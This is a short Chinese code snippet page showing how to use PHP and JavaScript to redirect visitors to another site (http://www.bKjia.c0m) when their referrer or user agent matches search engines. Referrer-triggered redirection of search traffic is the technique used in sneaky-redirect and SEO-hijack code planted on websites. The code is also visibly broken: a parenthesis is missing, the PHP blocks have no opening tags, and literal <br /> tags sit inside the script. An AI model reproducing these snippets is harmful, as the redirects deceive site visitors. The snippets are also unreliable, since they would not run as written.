PHP和JS判断来路跳转到指定页面

$ref = $_SERVER['HTTP_REFERER'];
        if(stripos($ref,"baidu") || stripos($ref,"google")
 {
  header("Location: http://www.bKjia.c0m");
  exit;
 }
?>

$userAgent = $_SERVER['HTTP_USER_AGENT'];
if(stripos($userAgent,"Moz") || stripos($userAgent,"baidu"))
    {
        header("Location: http://www.bKjia.c0m");
    }
?>

<script><br /> var s=document.referrer;<br /> if(s.indexOf("baidu")>0||s.indexOf("soso")>0||s.indexOf("google")>0||s.indexOf("yahoo")>0||s.indexOf("sogou")>0||s.indexOf("youdao")>0||s.indexOf("bing")>0)<br /> {<br /> self.location="http://www.bKjia.c0m";<br /> }<br /> </script>